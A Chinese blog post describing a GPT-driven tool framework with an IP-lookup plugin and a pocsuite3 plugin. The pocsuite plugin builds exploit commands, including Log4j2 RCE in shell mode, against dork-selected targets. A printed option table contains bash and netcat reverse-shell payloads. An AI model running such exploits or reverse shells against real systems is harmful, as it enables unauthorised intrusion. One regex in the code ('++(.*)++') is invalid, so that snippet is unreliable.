最近在尝试开个一个GPT的工具箱，这里来对我的开发思路进行一些分享。
目标
首先，要开发一个工具前需要明确目标，我们开发的目的是为了什么？
目前，我们能直接使用的GPT可以分为商业的和开源的大语言模型。商业的主要是openai，Google，微软三家的产品。而开源的大语言模型就非常多了，比如有llama，qwen等。
但不管是商业的还是开源的，主要能力都是处理文本数据，最先进的openai也只是多了处理图片，音视频的能力。
而我想要GPT能帮我访问网页，执行命令这类的功能，目前openai的gpt4也能实现这类功能，但是gpt4却有以下几个问题：
- 只有网页版的gpt4才有这类功能，使用网页版的有时候不方便。
- 有些网站gpt4无法访问，比如内网的网站，或者国内的一些网站。
- gpt4是在容器中执行命令，搭环境麻烦，环境没法保存等问题。
另外，还有一个目标，就是希望能在离线的情况下仍然能使用，这就需要使用开源的大语言模型，但是由于目前开源大语言模型能力上还不够，暂时无法实现。
实现方案
上面提到gpt4的几个问题的解决方案也很简单，就是按照gpt4的方案，在本地复现一个类似的环境。
前面说了，gpt的能力更多还是处理文本数据，是无法访问网站和执行命令这类的操作。那么gpt4是如何做的呢？依靠的都是prompt的能力，通过prompt让gpt生成相应的命令，然后后端设计一个程序监听gpt的响应，如果发现是命令，则执行。
比如，我们设计如下的prompt：
1
2
3
4
| 你是一个访问Web页面命令生成的机器人，你需要根据用户的提问生成一个访问指定网站的Linux Shell命令。格式为：@@Linux Shell命令@@，不需要做其他任何多余的解释。
提问：帮我访问www.baidu.com
GPT4的回答：@@curl www.baidu.com@@
|
框架
通过上面的内容我们可以知道，该工具的核心难点是在prompt上，所以我把该工具设计成一个GPT工具框架，需要实现的功能以插件的形式融入进来。该框架的目录结构如下：
1
2
3
4
| /plugins # 插件目录
openai.py # gpt请求后端，用来和gpt进行交互
plugin.py # 管理插件
main.py # 主程序
|
主要流程为：
1
2
3
| 向用户询问需要使用哪个插件（后期如果有图形界面，可以直接选择）
-> 根据拥有的插件和用户提问生成prompt，询问gpt
-> 根据gpt的回答做出不同的操作，如果正确返回了一个插件的名称，则把控制权交个该插件。
|
在该框架设计好后，后期的开发者只需要关心插件的结构，开发各种各样的插件，而不需要考虑该GPT工具的其他部分。
插件结构
插件的命名规则：/plugins/user_插件名.py。
需要设置一个PLUGIN变量去指定插件的主类，插件主类的__init__函数需要接受一个参数，该参数为gpt引擎，可以通过该引擎进行gpt问答。
并且插件的主类需要定义两个成员变量：pluginName和Description，用来定义插件的名称和描述，框架通过插件的这两个变量来构造prompt。
比如，定义了如下两个插件：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| class PluginA:
pluginName = "pluginA"
Description = "plguinA插件，帮助用户访问web页面"
def __init__(self, engine):
self.engine = engine
......
......
class PluginB:
pluginName = "pluginB"
Description = "plguinB插件，帮助用户执行系统命令"
def __init__(self, engine):
self.engine = engine
......
|
那么将会生成以下prompt：
1
2
3
4
5
6
7
8
9
10
11
| 你只是一个插件选择机器人，我有以下插件可供选择：
1.
名称：pluginA
功能：plguinA插件，帮助用户访问web页面
2.
名称：pluginB
功能：plguinB插件，帮助用户执行系统命令
如果user询问插件列表，请在@@符号中间输出所有插件信息。
如果user是需要选择插件，请通过user提问信息选择插件，只需要回复插件的名字即可，不需要回答无关信息，如果没有合适的插件请回复："::::"，回复格式为："::插件名::"，你只需要按照格式回复。
如果user询问其他信息，请回复："::::"。
|
在选择插件时，框架将会把用户的请求发送给gpt，由gpt来选择使用哪个插件，比如：
1
2
| user: 我需要访问web页面
gpt: ::pluginA::
|
框架将会根据gpt的回复，把控制权交给pluginA，之后的交流过程就由pluginA来决定。
另外，前文说了，离线的方案无法实现，原因就是离线方案需要我们在本地运行大语言模型，并且也有速度要求，并不仅仅只是能把大语言模型跑起来。当前的大语言模型只有qwen:7b，o llama3:8b这种量级的速度才能满足需求，再大一点的，比如qwen:32b这种，就算电脑能跑起来，速度也非常的慢。
所以在满足速度需求的大语言模型中，使用上述的prompt却没办法获取到正确的响应速度，这样就是为啥我说暂时无法实现离线方案的原因。
插件案例
插件的实现简单来说就是构造相应的prompt，来对应不同的代码，下面我将由简到复杂来分享一些插件案例。
ip查询插件
首先，我们来实现一个简单的ip查询插件，该插件有两个功能，查询本机ip信息和查询指定ip信息。
首先把插件必须要求的代码完成：
1
2
3
4
5
6
7
8
9
| class IPSearchPlugin:
pluginName = "ipsearch_plugin"
Description = "ipsearch插件，帮助用户查询ip信息。"
def __init__(self, engine) -> None:
self.engine = engine
def run(self):
pass
PLUGIN = IPSearchPlugin
|
接着我们定义两个相关功能的函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| def queryLocalIP(self):
url = "https://cip.cc"
try:
res = requests.get(url, headers={"User-Agent": "curl/8.5.0"})
except Exception as e:
return f"请求失败：{e}"
return res.text
def queryIP(self, ip: str):
url = f"https://cip.cc/{ip}"
try:
res = requests.get(url, headers={"User-Agent": "curl/8.5.0"})
except Exception as e:
return f"请求失败：{e}"
return res.text
|
接着我们构造相应的prompt：
1
2
3
| 你是一个功能识别机器人，请你根据user提问信息选择相应的操作，不需要回答无关信息，如果没有合适的操作请回复："++++"，我有以下操作可供选择：
1. 查询本机ip地址信息，只需要回复："++local++"
2. 查询指定ip地址信息，回复格式为："++ip地址++"
|
最后，我们可以编写run函数的逻辑代码了：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| def run(self):
operatePromt = [
{
"role": "system",
"content": self.prompt
}
]
self.engine.setPrompt(operatePromt)
while True:
question = input("你需要什么帮助？\n")
answer = self.engine.ask(question)
log.DebugLog(f"GPT回复：{answer}")
result = re.findall("++(.*)++", answer)
if result and result[0]:
if result[0] == "local":
print(self.queryLocalIP())
else:
print(self.queryIP(result[0]))
else:
print("暂未实现你的需求，请重新选择。")
|
最终的效果大致如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| 先进行插件选择: 我需要查询ip地址信息
[DEBUG]: GPT返回的插件名字是：::ipsearch_plugin::
你需要什么帮助？
我的ip地址是多少？
[DEBUG]: GPT回复：++local++
IP : x.x.x.x
地址 : 中国
运营商 : 电信
......
URL : http://www.cip.cc/x.x.x.x
你需要什么帮助？
帮我查询一下114.114.114.114的信息
[DEBUG]: GPT回复：++114.114.114.114++
IP : 114.114.114.114
地址 : 114DNS.COM 114DNS.COM
数据二 : 江苏省南京市 | 南京信风网络科技有限公司GreatbitDNS服务器
数据三 : 中国江苏省南京市
URL : http://www.cip.cc/114.114.114.114
|
pocsuite插件
接着，我们来实现一个复杂一点的插件，用GPT来帮助一些对pocsuite不熟悉的人来使用pocsuite工具。
首先，我们需要指定一个有效的pocsuite脚本，而一个有效的pocsuite脚本存放的路径为当前目录和pocsuite模块的pocs目录。根据该信息，可以编写一个函数获取所有poc信息：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| def __init__(self, engine):
......
self.choosePoCTemp = """我的PoC列表如下所示：\n%s"""
self.choosePoC = ""
self.PocList = [
os.getcwd(),
f"{pocsuite3.__path__[0]}/pocs"
]
def initPocList(self):
self.Pocs = []
for i in range(len(self.PocList)):
path = self.PocList[i]
if i == 1:
pocfile = listdir(path, recursive=True)
else:
pocfile = listdir(path, recursive=False)
for p in pocfile:
try:
self.Pocs += [PoC(p)]
except Exception as e:
log.DebugLog(f"获取PoC信息失败，PoC = {p}, 错误信息为：{e}")
pocs = ""
for i in range(len(self.Pocs)):
pocs += f"{i}: {self.Pocs[i].name}, 路径={self.Pocs[i].pocPath}\n"
if pocs:
self.choosePoC = self.choosePoCTemp%pocs
def GetPocList(self):
self.initPocList()
pocList = ""
for i in range(len(self.Pocs)):
pocList += f"{i}: {self.Pocs[i].name}\n"
return pocList.strip()
0: Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行
1: Drupal core Remote Code Execution
2: VMware vCenter Server 文件上传漏洞（CVE-2021-22005）检测脚本
3: Redis 未授权访问
4: Node-RED 未授权远程命令执行
......
|
接着，根据获取到的PoC构造相应的prompt，然后来设置相应的参数，示例代码如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| def setPoC(self):
setPocPrompt = """你是一个PoC选择机器人，请根据user的提问，从PoC列表中选择相应的PoC，返回格式为：@@path@@，其中path为PoC的路径。
如果user需要查看PoC列表，请回复：@@GetPocList@@。
如果user需要设置PoC脚本的路径，请回复@@@path@@@，其中path为用户指定的路径。
"""
while True:
info = self.GetPocList()
operatePromt = [
{
"role": "system",
"content": self.choosePoC
},
{
"role": "system",
"content": setPocPrompt
}
]
usage = "首先，请指定PoC脚本，PoC脚本的有效路径如下所示：\n"
for i in range(len(self.PocList)):
if i == 0:
usage += f"{self.PocList[i]}: 当前目录\n"
else:
usage += f"{self.PocList[i]}\n"
usage += "请指定你的PoC\n"
self.engine.setPrompt(operatePromt)
question = input(usage)
answer = self.engine.ask(question)
log.DebugLog(f"GPT回复：{answer}")
result = re.findall("@@(.*)@@", answer)
if result and result[0]:
if result[0] == "GetPocList":
print(info)
else:
self.poc = result[0]
self.addCmd(f"-r {result[0]}")
break
else:
result = re.findall("@@@(.*)@@@", answer)
if result and result[0]:
self.PocList.append(result[0])
else:
print("我无法完成你的请求，请重新输入。")
|
效果如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
| 首先，请指定PoC脚本，PoC脚本的有效路径如下所示：
/xxxx: 当前目录
/xxxx/.env/lib/python3.10/site-packages/pocsuite3/pocs
请指定你的PoC
user: 我有哪些PoC
0: Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行
1: Drupal core Remote Code Execution
2: VMware vCenter Server 文件上传漏洞（CVE-2021-22005）检测脚本
3: Redis 未授权访问
4: Node-RED 未授权远程命令执行
......
user: 我要使用Apache Struts 2 Log4j2 RCE
['pocsuite', '-r /xxxx/.env/lib/python3.10/site-packages/pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py']
|
下一步，我们需要协助用户指定目标，这里我们暂定三种情况：
- 通过-u 指定具体目标
- 通过-f 指定具体url列表文件
- 通过–dork设置指定dork
通过以上信息，我们可以编写出如下函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| def setTarget(self):
setTargetPrompt = """你是一个目标设置机器人，user能设置的目标有三种情况：
1. 目标为URL地址或者CIDR地址，返回格式为：@@url@@，其中url为URL地址或者CIDR地址。
2. 目标为一个文件，返回格式为：@@@file@@@，其中file为文件路径。
3. 目标为dork，返回格式为：@@@@dork@@@@，其中dork为dork语句。
请根据user的提问，选择相对应的目标，根据目标返回相对应的格式。"""
operatePromt = [
{
"role": "system",
"content": setTargetPrompt
}
]
self.engine.setPrompt(operatePromt)
usage = """接下来，你需要指定目标，能指定的目标有URL/CIDR，url列表文件，zoomeye dork等。
"""
while True:
question = input(usage)
answer = self.engine.ask(question)
log.DebugLog(f"GPT回复：{answer}")
result = re.findall("@@@@(.*)@@@@", answer)
if result and result[0]:
self.addCmd(f"--dork {result[0]}")
break
result = re.findall("@@@(.*)@@@", answer)
if result and result[0]:
self.addCmd(f"-f {result[0]}")
break
result = re.findall("@@(.*)@@", answer)
if result and result[0]:
self.addCmd(f"-u {result[0]}")
break
else:
print("我无法完成你的请求，请重新输入。")
|
到这步为止效果如下所示：
1
2
3
4
5
| 请指定你的PoC
user: 我要使用Apache Struts 2 Log4j2 RCE
接下来，你需要指定目标，能指定的目标有URL/CIDR，url列表文件，zoomeye dork等。
user: 我要使用dork: httpd
['pocsuite', '-r /xxxx/.env/lib/python3.10/site-packages/pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py', '--dork httpd']
|
设置完PoC和目标以后，还需要设置运行模式，检查PoC是否存在_verify，_attack，_shell函数，然后询问用户是否要设置可以使用的模式。相关代码如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| def setMode(self):
assert self.poc, "PoC没有设置"
poc = self.findPoC(self.poc)
assert poc, "PoC设置错误"
modes = poc.mode.keys()
setModePrompt = f"你是一个模式选择机器人，user能选择的模式有以下几种情况：{','.join(modes)}\n请根据user的提问，选择相对应的模式，返回格式为：@@mode@@，其中mode为模式名称。"
operatePromt = [
{
"role": "system",
"content": setModePrompt
}
]
self.engine.setPrompt(operatePromt)
usage = f"下一步，你需要设置PoC使用模式，当前PoC可使用的模式有：{','.join(modes)}\n请输入你要设置的模式："
while True:
question = input(usage)
answer = self.engine.ask(question)
log.DebugLog(f"GPT回复：{answer}")
result = re.findall("@@(.*)@@", answer)
if result and result[0] in modes:
self.mode = poc.mode[result[0]]
self.addCmd(f"--{result[0]}")
break
else:
print("我无法完成你的请求，请重新输入。")
|
运行效果如下所示：
1
2
3
4
5
6
7
8
| 请指定你的PoC
user: 我要使用Apache Struts 2 Log4j2 RCE
接下来，你需要指定目标，能指定的目标有URL/CIDR，url列表文件，zoomeye dork等。
user: 我要使用dork: httpd
下一步，你需要设置PoC使用模式，当前PoC可使用的模式有：verify,attack,shell
请输入你要设置的模式：
user: shell模式
['pocsuite', '-r /xxxx/.env/lib/python3.10/site-packages/pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py', '--dork httpd', '--shell']
|
最后一下需要插件主动询问用户的是option参数，比如在attack模式下，执行命令时，经常会需要设置--cmd参数，所以我们可以通过匹配PoC脚本，判断当前模式下，有哪些option参数，并且输出option参数的帮助选项，并且询问用户是否需要设置相关的option参数，相关代码如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| def setOption(self):
def getOptionHelpInfo():
cmd = self.cmdList[:2] + ["--options"]
result = doCmd(cmd)
return result.split("options:\n")[1].split("\n[*] shutting")[0]
if not self.mode:
return
setOptionPrompt = f"你是一个参数设置机器人，user能设置的参数有以下几种情况：{','.join(self.mode)}\n请根据user的提问，选择相对应的参数，返回格式为：@@arg value@@，其中arg为参数名称，value为参数的值，如果用户不需要设置参数，则返回@@@@。"
operatePromt = [
{
"role": "system",
"content": setOptionPrompt
}
]
self.engine.setPrompt(operatePromt)
usage = f"最后一步，你设置的模式中有以下几个option可以设置：{','.join(self.mode)}\n该PoC的option帮助信息如下所示：\n{getOptionHelpInfo()}\n请输入你要设置的模式："
while True:
question = input(usage)
answer = self.engine.ask(question)
log.DebugLog(f"GPT回复：{answer}")
if "@@@@" in answer:
break
result = re.findall("@@(.*)@@", answer)
if result:
self.addCmd(f"--{result[0]}")
break
else:
print("我无法完成你的请求，请重新输入。")
|
最后的执行效果如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| 请指定你的PoC
user: 我要使用Ecshop 2.x/3.x Remote Code Execution
接下来，你需要指定目标，能指定的目标有URL/CIDR，url列表文件，zoomeye dork等。
user: 目标为https:/127.0.0.1:1234
下一步，你需要设置PoC使用模式，当前PoC可使用的模式有：verify,attack,shell
请输入你要设置的模式：
user: verify模式
最后一步，你设置的模式中有以下几个option可以设置：app_version
该PoC的option帮助信息如下所示：
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
| Name | Current settings | Type | Description |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
| command | whoami | String | 攻击时自定义命令 |
| app_version | Auto | Select | 目标版本，可自动匹配 |
| payload | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' | Dict | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
| | | | bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |
| | | | |
| | | | You can select dict_keys(['nc', 'bash']) ,default:bash |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
请输入你要设置的选项：
user: 不需要设置
['pocsuite', '-r /xxxx/.env/lib/python3.10/site-packages/pocsuite3/pocs/ecshop_rce.py', '-u https:/127.0.0.1:1234', '--verify']
|
到此为止，使用Pocsuite脚本的常用命令就构造完成了，接下来就用户可以选择直接执行命令，或者修改命令，或者添加其他高级参数，例如--threads等。相关代码如下所示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
runPrompt = """你是一个机器人助手，需要根据用户的要求判断用户需要进行哪些操作，有效的操作如下所示：
1. 如果用户需要运行命令，则返回@@run@@。
2. 如果用户需要添加参数，则返回@@option@@，其中option为用户需要设置的参数以及参数的值。
3. 如果用户需要修改命令参数，则返回##cmd##，其中cmd为修改以后的命令。
当前用户的命令为：%s
如果用户要求的操作不在有效操作内，则返回@@@。"""
operatePromt = [
{
"role": "system",
"content": "Pocsuite3的帮助信息如下所示：\n" + self.GetHelpInfo()
},
{
"role": "system",
"content": self.choosePoC,
},
{
"role": "system",
"content": ""
}
]
while True:
operatePromt[2]["content"] = runPrompt%(" ".join(self.cmdList))
self.engine.setPrompt(operatePromt)
usage = f"当前构造完成的命令为：{' '.join(self.cmdList)}\n当前你能进行的操作有：\n1. 执行命令。\n2. 添加参数\n3. 修改参数。\n请输入你要进行的操作："
question = input(usage)
answer = self.engine.ask(question)
log.DebugLog(f"GPT回复：{answer}")
if "@@@" in answer:
print("无效命令，请重新输入")
continue
if "@@" in answer:
result = re.findall("@@(.*)@@", answer)
if result:
if result[0] == "run":
print("Run CMD: " + " ".join(self.cmdList))
else:
self.addCmd(result[0])
else:
print("无效命令，请重新输入")
elif "##" in answer:
result = re.findall("##(.*)##", answer)
if result:
self.cmdList = result[0].split(" ")
else:
print("无效命令，请重新输入")
else:
print("错误回复")
|
到这，Pocsuite插件的已经完成的差不多了。但是，在实际的测试过程中会发现就算是gpt4，也有能力不足的时候，gpt并不能一定满足我们的要求。比如在上面的由用户自由设置的步骤中，会遇到以下一种情况：
1
2
3
4
5
6
7
| 当前你能进行的操作有：
1. 执行命令。
2. 添加参数
3. 修改参数。
请输入你要进行的操作：
user: 设置--ppt
[DEBUG]: GPT响应：@@option--ppt@@
|
当我们遇到gpt没法正确响应时我们该怎么办呢？这个时候可以选择增加gpt对话的上下文，可以选择添加一组或多组对话，对于gpt4，一般情况下只需要添加一组示例对话就好了。比如增加下列代码：
1
2
3
4
5
6
7
8
9
10
11
| examplePrompt = [
{
"role": "user",
"content": "设置--ppt"
},
{
"role": "assistant",
"content": "@@--ppt@@"
}
]
self.engine.setExamplePrompt(examplePrompt)
|
这样，只要user是相似的提问，gpt4都能回答正确的格式。如果还不行，那就多增加几组样例，不过这样会增加token量，在商用的gpt中，越多的token表示要花越多的钱。在开源的大语言模型中，越多的token会增加计算量，增加响应时长，这也是目前gpt的局限性，无法避免，只能期待未来的GPT能更加智能。
总结
到这，我设计的GPT工具框架的思路和流程已经说的差不多了，总的来说核心点还是prompt的艺术，通过prompt让gpt响应指定内容，而我们通过解析gpt的响应内容从而执行不同的代码，而达到我们让gpt联网或者执行系统命令的目的。
